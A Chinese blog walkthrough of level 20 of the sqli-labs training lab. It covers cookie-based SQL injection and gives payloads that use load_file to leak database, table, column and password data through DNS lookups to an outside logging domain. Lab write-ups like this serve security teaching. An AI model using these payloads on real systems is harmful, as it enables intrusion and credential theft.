sqli-labs第二十关详解

目录

源码分析

setcookie函数分析

header函数分析

​注入点查找

DNSlog注入

爆数据库

爆表

爆字段

爆值


源码分析

看了下源码,跟上一关差别挺大的,先看下不懂的函数

setcookie函数分析

setcookie(),简单来说就是网站给了一个cookie你,下次访问的时候就能直接在http中带上这个cookie,保留上次访问的记录 

  

而源码里第一个出现的setcookie的意思就是

给客户端发送一个名为uname的cookie,uname值设置为$cookee的值,3600秒后cookie无效

第二个出现的setcookie的意思

后面time()-3600,相当于撤销名为uname的cookie

这里$cookee的值就是已登入了的用户名,time()函数就是返回当前Unix的时间

header函数分析

header()函数,说白了就是往http响应头里添加某个http报头

在源码里

意思是在响应头添加

Location: index.php

相当于重定向到index.php 

注入点查找

看了一遍所有写在PHP的SQL语句

因为前面定义了个函数,把用户名和密码这些注入点过滤掉了

所以能利用的注入点只有cookie

这里$cookee值就是cookie中uname的值 

值得注意的是,要执行该SQL语句,那就不能通过该if语句,也就是说不能用POST传参,或者是将POST传参的submit删掉

而后面又有报错语句输出

所以这里能利用时间盲注、报错盲注、DNSlog盲注(服务器操作系统为windows的前提下才可以用,且得SQL相关配置打开)

前面两个都用腻了,这里试一下DNSlog注入

DNSlog注入

不懂的萌新可参考DNSlog注入详细解析 - FreeBuf网络安全行业门户

爆数据库

抓登入的包,将请求方法改为GET,构造cookie请求头

Cookie: uname=admin' and load_file(concat('\\\\',database(),'.z30z4j.ceye.io\\aaa')) #

然后回到自己的DNS服务器上,查看日志

爆表

构造cookie

Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(table_name separator '_') from information_schema.tables where table_schema = database()),1,63),'.z30z4j.ceye.io\\aaa')) #

查看日志

爆字段

构造cookie

Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(column_name separator '_') from information_schema.columns where table_schema = database() and table_name = 'users'),1,63),'.z30z4j.ceye.io\\aaa')) #

  查看一下日志

爆值

构造cookie

Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(password separator '_') from users),1,63),'.z30z4j.ceye.io\\aaa')) #

查看日志

由于URL规则的原因,这里只回显了63位字符串,没回显完全部密码,还得改一下截断函数mid

Cookie: uname=admin' and load_file(concat('\\\\',mid((select group_concat(password separator '_') from users),64,63),'.z30z4j.ceye.io\\aaa')) #

查看日志 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值